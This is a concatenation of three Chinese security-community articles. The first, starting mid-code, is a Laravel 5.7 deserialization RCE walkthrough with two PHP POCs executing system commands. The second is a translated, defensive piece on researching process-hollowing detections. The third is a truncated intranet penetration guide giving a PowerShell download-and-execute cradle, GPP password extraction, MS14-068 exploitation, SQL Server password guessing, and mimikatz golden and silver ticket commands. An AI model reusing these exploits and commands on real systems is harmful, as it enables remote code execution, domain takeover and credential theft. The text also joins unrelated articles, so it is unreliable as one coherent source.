$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
public function __construct($instances = [])
{
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("T0WN" => "1"));
$application = new Illuminate\Foundation\Application();
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, "system", array("whoami"));
echo urlencode(serialize($pendingcommand));
}
利用上面的poc这里走到了这段代码
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
但是再f8往下走就直接抛出异常了
所以就f7跟进看看调用栈是怎么样的,来到了offsetGet函数
或者直接跟进$this->app[Kernel::class]这段代码
跟进make
public function make($abstract, array $parameters = [])
{
$abstract = $this->getAlias($abstract);
if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
$this->loadDeferredProvider($abstract);
}
return parent::make($abstract, $parameters);
}
跟进其父类的make
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
上面这些函数都没什么可控点
跟进resolve
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
......
一直跟到resolve的这没报错,但是继续单步调试又报错了
那就接着跟进build函数
在里面的这个地方报错了
if判断这个类是否能够实例化,当前类是不能实例化的
可用看看Kernel类的定义
interface Kernel
定义为一个接口类,可用在PHP官方文档看到一个例子的输出
我们看输出效果就知道了,接口类和抽象类还有构造方法私有的类是不能实例化的,接口类的子类,抽象类的继承类是可以实例化的
所以这里进入了这个if判断
跟进notInstantiable
protected function notInstantiable($concrete)
{
if (! empty($this->buildStack)) {
$previous = implode(', ', $this->buildStack);
$message = "Target [$concrete] is not instantiable while building [$previous].";
} else {
$message = "Target [$concrete] is not instantiable.";
}
throw new BindingResolutionException($message);
}
可以看到会抛出一个异常,这就是为什么会报错的原因了
明白了原因再来看解决办法
回到resolve方法
跟进getConcrete方法
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
这里问题就出在这儿,可以看到
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
当存在$this->bindings[$abstract]的时候就返回$this->bindings[$abstract]['concrete'],否则就返回$abstract
我们通过断点调试可以清楚的看到,$abstract的值是Kernel这个类
先来看看bindings属性,这个是Illuminate\Container\Container类的属性,不过我们这里的$this->app是Illuminate\Foundation\Application类,这个类刚好是Container类的子类,可以直接从Illuminate\Foundation\Application类来控制$this->bindings属性
那这里$this->bindings[$abstract]['concrete']是可控的了直接return,出这个函数
所以$concrete的值就是我们可以控制的任意类
到了这儿的if判断
跟进isBuildable
protected function isBuildable($concrete, $abstract)
{
return $concrete === $abstract || $concrete instanceof Closure;
}
这里的$concrete的值就是我们可以控制的任意类,$abstract还是之前的Kernel类,显然不成立
所以执行else,回到make函数,改变其参数值为我们控制的类,同样的流程再走一遍来到resolve方法
此时的$concrete与$abstract的值是一样的了,那就可以进入if,调用build方法
在build方法里有PHP反射机制
$reflector = new ReflectionClass($concrete);
这里$concrete就是我们刚才通过控制$this->bindings[$abstract]['concrete']返回的任意类
那这里就可以实例化任意类了
执行到了刚才报错的地方
当前类是可以实例化的,直接跳过if,然后层层返回,最后实例化了任意类
当然这里实例化的类里面需要具有call函数,这里选用了Illuminate\Foundation\Application类,所以最后返回的实例化对象就是Application类
然后调用里面的call方法,这里Application类并没有call方法,所以会直接跳到它父类Container.php里面的call方法
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
跟进BoundMethod类的静态call方法
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
跳过了第一个分支语句,来到return这里
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
跟进callBoundMethod
判断$callback是不是数组,从上面断点调试的时候的值来看$callback是传进来的system,并不是数组所以很顺利进入了这个if,返回了$default
再看$default是callBoundMethod的第三个参数,这是一个自定义函数
function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
}
直接return一个call_user_func_array(),第一个参数是$callback,现在跟进getMethodDependencies看看第二个参数怎么来的
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
就是返回一个合并数组,因为$dependencies是空数组,$parameters是我们传进来的whoami
所以返回值就是whoami
那$default的值就是system("whoami")了,单步跳过,会到了run方法发现命令执行成功
# 漏洞复现
## POC1
<?php
namespace Illuminate\Foundation\Testing {
use Faker\DefaultGenerator;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters, $class, $app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $class;
$this->app = $app;
}
}
$a = array("DawnT0wn" => "1");
$app = array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application"));
echo urlencode(serialize(new PendingCommand("system", array("whoami"), new DefaultGenerator($a), new Application($app))));
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind)
{
$this->bindings = $bind;
}
}
}
这里$this->parameters需要是一个数组类型才行,不然在这里在第一个对象模拟这里就会报错
## POC2
刚才我们返回Application实例化对象的时候是通过反射去实现的
但是回到resolve方法
看看这里的if语句,先看后面$needsContextualBuild我们打断点的时候可以很明显的看到他的值是false,所以如果存在$this->instances[$abstract]就会直接返回$this->instances[$abstract],这个是可控的,所以就可以直接返回一个实例化的Application对象了
exp如下
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("DawnT0wn" => "1"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, "system", array("whoami"));
echo urlencode(serialize($pendingcommand));
}
# 总结
laravel5.7的链子肯定是不止这一条的,例如<https://xz.aliyun.com/t/9478>
这篇文章里面有几条链是在laravel5.4到5.8是通杀的,还有H3师傅总结的链子<https://www.anquanke.com/post/id/258264>
这里有10多条,里面有好几条也是可以通杀的,但是这里只分析了5.7最典型的一条链子
这条链子和以往的复现不太一样,对POP挖掘思路有很大的影响,可以明白在POP链挖掘的时候依次打断点去单步调试最后找到一条完整的链子,而不是每次去看到师傅的POC复现,这能让自己明白如何去寻找一条完整的POP链
参考链接
<https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/>
<https://xz.aliyun.com/t/8359#toc-6>
<https://blog.csdn.net/rfrder/article/details/113826483> | 社区文章 |
# 从零起步揭秘如何构建Process Hollowing进程注入检测（一）：研究
##### 译文声明
本文是翻译文章，文章原作者 specterops，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/engineering-process-injection-detections-part-1-research-951e96ad3c85>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
通常情况下，在对攻击活动进行检测的过程中，我们会遇到一些难以有效检测的攻击技术。我们是否找到或创建了攻击的概念证明（PoC）？我们是否已经掌握了攻击的底层技术？我们是否可以将威胁事件与恶意活动相关联以创建一些分析逻辑？有哪些特点会在所有的攻击中保持不变？有哪些是会发生变化的？所有上述这些，都是在研究一种攻击技术时通常会提出的问题。
在这篇文章中，我将逐步使用称为“能力抽象”的技术，逐步剥离出使攻击成为可能的基础技术。对于“能力抽象”这个名词，Jared
Atkinson在他的文章《Capability Abstraction》中已经做了详细描述。由于我们会持续用到这一概念，建议各位读者可以首先了解这篇文章。
在对进程进行检测的过程中，我们往往希望拥有理想化的步骤，但有时可能很难实际做到这一点，因此我们只能尽最大程度的努力。
在这一系列的文章中，我们将详细介绍用于创建检测的方法，我们将集中讨论一种被称为Process Hollowing的技术。系列文章将分为三部分：
第一部分：研究
第二部分：数据关联
第三部分：分析逻辑
我将与Josh Praeger（Bouj33 Boy）、David
Polojac共同开展这一系列研究，我们期望这一系列研究的成果可以应用于其他技术上，但在我们的文章中，将以“检测进程注入技术”为例。
## 研究
要创建任何检测，第一步就是选择相应的攻击技术。这些攻击技术可能来源于文章、攻击源、MITRE
ATT&CK知识库、实际威胁事件、红队测试或其他资源。通过这样的方式，我们就可以选择一种技术。有些时候，所选择的技术往往过于广泛，我们就必须要再将其细分为“子技术”。进程注入就是一个很好的例子。这种技术有很多不同的变体，我们可以将其细分为DLL注入、反射型DLL注入等等。关注子技术，可以让我们更加明确地确定检测范围。但如果同时定义了太多子技术的检测方法，就很容易在最终的检测中失去侧重性和准确性。
一旦选择了一种技术或子技术，我往往倾向于查看MITRE ATT&CK框架中是否有相应信息。在深入研究基础技术之前，我们通过查询框架的方式进行初步分析。
Process Hollowing的MITRE ATT&CK描述：
通过上面的描述，我们初步了解了如何定义Process
Hollowing，以及这种攻击的工作方式。但是，我们还需要更多上下文来创建可操作的检测方式。在MITRE的页面上，有一个“检测与参考”部分。其中的“检测”部分指出：
“监视API调用可能会产生大量数据，并且可能无法直接用于防御，除非收集在特定情况下已知恶意调用序列的信息，否则无法有效将合法使用的API函数与恶意行为区分开来。取消映射进程内存的API调用（例如：ZwUnmapViewOfSection或NtUnmapViewOfSection）和可用于修改另一个进程中内存的API调用（例如：WriteProcessMemory）均可以用于该技术”。
在这一章中，提到了执行Process
Hollowing的不同API调用。尽管这本质上非常有趣，但实际在“检测”部分还没有提供足够的上下文来深入探讨API调用。
接下来，我们可以来看一下MITER中提到的一些参考。在这里，我注意到了Endgame的《十种进程注入技术：常见进程注入技术和发展趋势》这篇文章。
与MITRE最初的报告相比，这篇文章中包含更多的细节。我从中提取到一些关键信息包括：
1、恶意软件会从目标进程的内存中取消映射（镂空）合法代码；
2、恶意软件会使用恶意可执行文件覆盖目标进程的内存空间。
这使我从更高的角度上获得了更多的见解，即如何执行Process
Hollowing这一过程。但是，我还需要进一步探讨更加具体的实现方式，以便创造更为可靠的检测方法。
针对每种进程注入技术，Endgame都提供了有关攻击如何进行的技术摘要。由于我可以利用其它上下文进行检测，因此这些描述很有帮助。从这些信息中，我得到了如下结论：
1、使用CreateProcess Win32 API以挂起状态（CREATE_SUSPENDED）创建一个进程。
2、攻击者需要取消目标进程中的内存映射，这是通过使用ZwUnmapViewOfSection或NtUnmapViewOfSection来完成的。
3、加载程序将利用VirtualAllocEx为目标进程内的恶意软件分配内存。
4、WriteProcessMemory用于将恶意软件部分写入目标进程空间。
5、调用ResumeThread可以使主线程退出挂起状态，以允许进程运行。
在深入探讨这些函数之前，我们还想追踪一些其他问题：
1、当利用其中一些API调用时，我们期望看到哪些数据？
2、这种攻击的隐藏行为和显式行为分别是什么？在保证有效执行攻击的前提下，攻击者有哪些地方是可以调整的，而又有哪些地方是无法调整的？
为了回答这些问题，我开始浏览Microsoft文档，以深入分析这里所使用的API调用。我们以CreateProcessA为例。
CreateProcessA：
现在，我们需要了解一下CreateProcessA的用途，以及攻击者是否可以使用其他Win32
API调用来执行创建进程的相同任务。通过对这篇文档进行进一步研究，我可以看到这个API的作用，以及可以用于创建进程的其他API调用。此外，需要关注的是，这个进程是在挂起的线程中创建的，但这又意味着什么？
进程创建标志：
Create_Suspended标志：
尽管这里的描述相对较少，但也提供了必要的上下文信息：
1、可以将Create_Suspended标志传递给以下任何API调用：
CreateProcessA
CreateProcessAsUser
CreateProcessWithLogonW
CreateProcessWithTokenW
2、在传递此标志时，将会影响进程的主线程。
3、在调用ResumeThread之前，主线程不会运行。
注意：大家可能希望对上面列出的其他API和函数调用进行深入的分析，在进行这一项研究的过程中，一个比较好的方法是查看一些概念证明（PoC）代码示例。在GitHub上，可以找到很多。
通过这样的方式，我们可以理解攻击背后的技术，了解到攻击者可以通过哪些不同的变体来更改函数或API调用，同时保证相同的攻击行为。作为防御者，这一点非常重要。如果能够剥离攻击者为执行特定行为所使用技术的不同分层，我们就能够更加有效地进行检测。作为抽象的另一种方法，我们可以进一步剥离各层，以查看有文档记录的API调用、无记录的API调用以及系统调用，并找到它们之间的共性和联系。
现在，我们已经通过研究这些API和函数调用获得了更多的上下文，我们想知道执行此攻击行为时将会触发哪种类型的日志。创建此检测时，我希望尽可能地减少假设。为此，我将对创建进程时所触发的事件进行一些研究。针对这里的场景，我将使用Sysmon数据传感器。
Sysmon Event ID: 1：
每当在主机上创建进程时，Sysmon都会创建一个事件。对于检测而言，这还不够，我们还需要知道如何触发这些事件，以及攻击者可能以什么方式绕过这一项日志记录。这样一来，我们就能够在创建检测时抓住我们的盲点和需要进行假设的内容。换而言之，我们需要测量对日志传感器的信任程度，而为了测量这一点，唯一的方式就是首先掌握其工作原理。
去年，我创建了一个将Windows API映射到Sysmon
Events的项目，该项目映射了Sysmon执行日志记录的方式。在项目中，研究了如何通过特定的事件注册机制（ERM）传递API，以及Sysmon如何利用该进程来创建特定的事件ID。
下图展示了Sysmon是如何新建进程创建事件的。
进程创建事件映射：
在映射中，我们清楚地了解到Sysmon是如何记录进程创建事件的。此外，我们也可以获知攻击者如何能规避这些事件的生成。攻击者可能会采取一些可行的方案，包括但不限于：
1、使用其他API调用来创建进程；
2、篡改ERM的记录。
在我们针对所有API和函数调用都完成上述分析工作后，就可以开始尝试执行此类攻击，使用概念证明作为我们的检测逻辑。随后，我们可以使用PoC作为构建和连续测试我们检测逻辑的方式。我们还可以使用这个PoC来确定哪些是需要检测的相关日志事件。欢迎大家继续关注本系列的第二篇文章，我们将会进行详细讨论。
## 总结
对于构建检测方式的整体过程而言，前期研究的这一步常常会被大家忽视，但这正是我们构建检测的基础。为了开发出强大的检测功能，我们必须要首先了解可以执行此攻击的基础技术。Jared
Atkinson在最近的一篇文章中谈到了能力抽象的问题，这是一个可以将工具、功能或攻击原理剥离和分解的过程。为了构建检测方式，我们可以查看这些抽象的内容，并将其用于我们的检测工作中。
能力抽象的过程始于研究。它可以引导我们发现各种不同的API调用、函数和日志记录功能，从而最大程度地提高检测效率，这样就可以在寻找恶意活动的过程中不再盲目浏览日志。这一过程，有助于我们识别可能发生的误报，帮助我们明确所做的假设，并有助于发现在构建检测的过程中可能会发现的盲点。
SpecterOps的检测工程团队会采用这种方法，并与我们的企业和个人客户共同进行实践。欢迎大家继续关注这一系列文章的第2部分和第3部分，我们将会详细讨论如何隔离恶意活动、在数据中寻找关联性、如何选择我们要创建的检测类型（检测光谱），以及如何实际编写这些检测方式。 | 社区文章 |
# 我所了解的内网渗透——内网渗透知识大总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 在没工作之前我常年搞各种高校的网络,边界口漏洞多容易进入而内网机器环境多不严格真是内网渗透的好地方,最后被誉为”学校杀手”,之前搞学校方法简单而粗爆很多内网常识都不懂就是各种扫,反正学校管理员的密码都是一样的就算不是域控密码基本都是一样,就算密码不是一样都是有规律。不过没有任何目的就是一味着登录各种系统的快感,输入密码按下回车键进入的快感。
## 信息收集
网上各种前期信息收集的文章各种net view之类的这里就不贴了。
一般想知道哪一台是域控知道自己内网的DNS就可以了,一般域控安装都有安装DNS有些不止一台,其次是通过扫描获取开放端口为389机器或者使用nltest命令查看。最后就是各种net
view查看域控是哪台主机
nltest /DCLIST:pentest.com
这里利用PowerTools中的PowerView信息收集其实很多功能都是net命令这里只是以PowerShell方式实现
Powershell.exe -Nop -NonI -Exec Bypass "IEX (New.ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP"
更详细参考：[域渗透信息收集PowerTools](https://github.com/cheetz/PowerTools)
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomains - gets all domains for the current forest
Get-NetDomainControllers - gets the domain controllers for the current computer's domain
Get-NetCurrentUser - gets the current [domain\]username
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Get-NetUserSPNs - gets all user ServicePrincipalNames
Get-NetOUs - gets data for domain organization units
Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
Invoke-NetUserAdd - adds a local or domain user
Get-NetGroups - gets a list of all current groups in the domain
Get-NetGroup - gets data for each user in a specified domain group
Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd - adds a user to a specified local or domain group
Get-NetComputers - gets a list of all current servers in the domain
Get-NetFileServers - get a list of file servers used by current domain users
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSessions - gets active sessions on a specified server
Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections - gets active connections to a specific server resource (share)
Get-NetFiles - gets open files on a server
Get-NetProcesses - gets the remote processes and owners on a remote server
## 获取域方法
### SYSVOL
SYSVOL是指存储域公共文件服务器副本的共享文件夹，它们在域中所有的域控制器之间复制。
Sysvol文件夹是安装AD时创建的，它用来存放GPO、Script等信息。同时，存放在Sysvol文件夹中的信息，会复制到域中所有DC上。
使用Group Policy Preferences配置组策略批量修改用户本地管理员密码
开始->管理工具->组策略管理->在这个域中创建GPO
设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组
更新Administrator密码：
域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据：groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。
映射驱动（Drives.xml）
数据源（DataSources.xml）
打印机配置（Printers.xml）
创建/更新服务（Services.xml）
计划任务（ScheduledTasks.xml）
由于经过身份验证的用户（任何域用户或受信任域中的用户）具有对SYSVOL的读取权限
\192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xml
经过AES-256位加密
cpassword="fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA"
可以使用AES私钥解密GPP密码
微软在MSDN上发布了AES加密密钥（共享密钥）
<https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx>
使用PowerShell脚本解密
<https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1>
[寻找SYSVOL里的密码和攻击GPP（组策略偏好）](http://www.freebuf.com/vuls/92016.html)
[Windows Server 2008 R2之四管理Sysvol文件夹](http://blog.51cto.com/ycrsjxy/203095)
[SYSVOL中查找密码并利用组策略首选项](https://adsecurity.org/?p=2288)
[利用SYSVOL还原组策略中保存的密](https://xianzhi.aliyun.com/forum/topic/1653/?accounttraceid=c4c9a768-4a9f-42f8-b1e1-f8707574eeb9)
防：
* 在用于管理GPO的计算机上安装KB2962486,以防止将新凭据置于组策略首选项中。
* 设置Everyone访问权限
* 不在组策略中使用域控密码
* 设置共享文件夹SYSVOL的访问权限
* 删除现有的GPP里包含密码的xml文件。
### MS14-068 Kerberos
Kerberos是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos需要三方的共同参与，才能完成一次事务处理。
Kerberos
是Windows活动目录中使用的客户/服务器认证协议，为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人（principal）。参与的中央服务器被称为密钥分发中心（简称KDC）。KDC有两个服务组成：身份验证服务（Authentication
Server，简称AS）和票据授予服务（Ticket Granting
Server，简称TGS）。在Windows域环境下，身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。
更多阅读:
[Kerberos协议的滥用](http://www.freebuf.com/articles/system/45631.html)
[Kerberos的工作原理](http://adsecurity.org/?p=227)
最根本的问题在于权限属性证书可以被伪造,权限属性证书中存储帐号用户名、ID、组成员等信息,掌握域用户一些基本信息就可以获取域管理员权限
攻击者可以有效地重写有效的Kerberos TGT身份验证票据，使其成为域管理员（和企业管理员）
<https://github.com/bidord/pykek/archive/master.zip>
<https://github.com/gentilkiwi/mimikatz/releases/>
apt-get install krb5-user
apt-get install rdate
MS14-068过程：
* 请求没有PAC的Kerberos TGT认证票据作为标准用户，DC回复TGT
* 生成一个伪造的PAC，没有密钥，所以生成的PAC使用域用户的密码数据用MD5算法而不是HMAC_MD5“签名”。
* 作为TGS服务票据请求的一部分，使用伪造的PAC作为授权数据发送无PAC的TGT到DC。
* DC似乎被这个混淆了，所以它放弃了用户发送的不含PAC的TGT，创建一个新的TGT，并将伪造的PAC插入到它自己的授权数据中，并将这个TGT发送给用户。
* 这个伪造PAC的TGT使得用户可以成为易受攻击的DC上的域管理员。
whoami /user
python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机
产生缓存的票据,在当前Kali下生成之后再放到域用户机器中
利用mimikatz工具将得到的[[email protected]](mailto:[email protected])写入内存，创建缓存证书：
mimikatz.exe "kerberos::ptc c:[email protected]" exit
klist 查看
net use k: \pentest.comc$
dir k:
相关资料:
[Kerberos工具包PyKEK](http://adsecurity.org/?p=676)
[深入解读MS14-068漏洞](http://www.freebuf.com/vuls/56081.html)
[Kerberos安全漏洞](http://adsecurity.org/?p=541)
防：
安装检查KB3011780的安装
### SPN扫描
Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据，无需向目标系统发送任何数据包
SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符。 它由服务类、主机名和端口组成。 在使用 Kerberos
身份验证的网络中，必须在内置计算机帐户（如 NetworkService 或 LocalSystem）或用户帐户下为服务器注册 SPN。
对于内置帐户，SPN 将自动进行注册。 但是，如果在域用户帐户下运行服务，则必须为要使用的帐户手动注册 SPN。
SPN扫描的主要好处是，SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现，spn查询是kerberos票据行为一部分,因此比较难检测SPN扫描。
powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers'); Discover-PSMSSQLServers"
[扫描SQL Server脚本](https://github.com/nullbind/Powershellery/tree/master/Stable-ish/MSSQL)
Import-Module .Get-SQLServerAccess.psm1
PS C:Get-SqlServer-Escalate-CheckAccess
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
通过LDAP从ADS获取SQL Server的列表，然后试图用当前域用户登陆每一个SQL Server。这次将输出到CSV文件中。
PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv
[*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
弱口令猜解
Get-SQLServerAccess -sqluser sa -sqlpass 123qwe!@#
寻找敏感数据
Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"
更多参考：
[非扫描式的SQL Server发现](https://blog.netspi.com/locate-and-attack-domain-sql-servers-without-scanning)
相关资料：
[SPN扫描](https://adsecurity.org/?p=1508)
[扫描SQLServer脚本](https://github.com/PyroTek3/PowerShell-AD-Recon)
### Kerberos黄金门票
<https://adsecurity.org/?p=1640>
[域服务账号破解实践](http://bobao.360.cn/learning/detail/3564.html)
[kerberos认证原理](http://blog.csdn.net/wulantian/article/details/42418231)
[深刻理解windows安全认证机制ntlm & Kerberos](https://klionsec.github.io/2016/08/10/ntlm-kerberos/)
#### Kerberos身份验证流程
* 密码转换为NTLM哈希值，时间戳使用散列加密，并作为身份验证票据（TGT）请求（AS-REQ）中的身份验证器发送给KDC。
* 域控制器（KDC）检查用户信息（登录限制，组成员身份等）并创建票证授予票证（TGT）。
* TGT被加密，签名并交付给用户（AS-REP）。只有域中的Kerberos服务（KRBTGT）才能打开并读取TGT数据。
* 用户在申请票证授予服务（TGS）票证（TGS-REQ）时向TG提交TGT。DC打开TGT并验证PAC校验和 – 如果DC可以打开票证和校验和签出，则TGT =有效。TGT中的数据被有效地复制来创建TGS票据。
* 使用目标服务帐户的NTLM密码散列对TGS进行加密并发送给用户（TGS-REP）。
* 用户在适当的端口上连接到托管服务的服务器并呈现TGS（AP-REQ）。该服务使用其NTLM密码散列打开TGS票证。
其实可以说是一种后门而不是什么漏洞。
黄金票据是伪造TGT,可以获取任何Kerberos服务权限,与域控制器没有AS-REQ或AS-REP（步骤1和2）通信。由于黄金票据是伪造的TGT，它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
Kerberos黄金票证是有效的TGT Kerberos票证，因为它是由域Kerberos帐户（KRBTGT）加密/签名的
。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的事实证明它是有效的
利用条件：
1.普通域用户
2.krbtgt ntlm hash
3.域SID
在域上抓取hash
lsadump::dcsync /domain:pentest.com /user:krbtgt
kerberos::purge
kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi
kerberos::ptt administrator.kiribi
kerberos::tgt
net use k: \pentest.comc$
### Kerberos银票务
[攻击者如何使用Kerberos银票来利用系统](https://adsecurity.org/?p=2011)
[https://www.feiworks.com/wy/drops/域渗透——Pass%20The%20Ticket.pdf](https://www.feiworks.com/wy/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Pass%20The%20Ticket.pdf)
黄金票据和白银票据的一些区别:
Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限
Silver Ticket: 伪造TGS,只能访问指定的服务
加密方式不同:
Golden Ticket 由krbtgt的hash加密
Silver Ticket 由服务账号(通常为计算机账户)Hash加密
认证流程不同:
Golden Ticket在使用的过程需要同域控通信
Silver Ticket在使用的过程不需要同域控通信
用户在适当的端口上连接到托管服务的服务器并呈现TGS（AP-REQ）。该服务使用其NTLM密码散列打开TGS票证。
与域控制器没有AS-REQ / AS-REP（步骤1和2），也没有TGS-REQ / TGS-REP（步骤3和4）通信。由于银票是伪造的TGS，所以没有与域控制器通信。
银票是伪造的Kerberos票证授予服务（TGS）票据，也称为服务票据。
域上获取信息
mimikatz log "sekurlsa::logonpasswords"
首先需要获得如下信息:
/domain
/sid
/target:目标服务器的域名全称，此处为域控的全称
/service:目标服务器上面的kerberos服务，此处为cifs
/rc4:计算机账户的NTLM hash，域控主机的计算机账户
/user:要伪造的用户名，此处可用silver测试
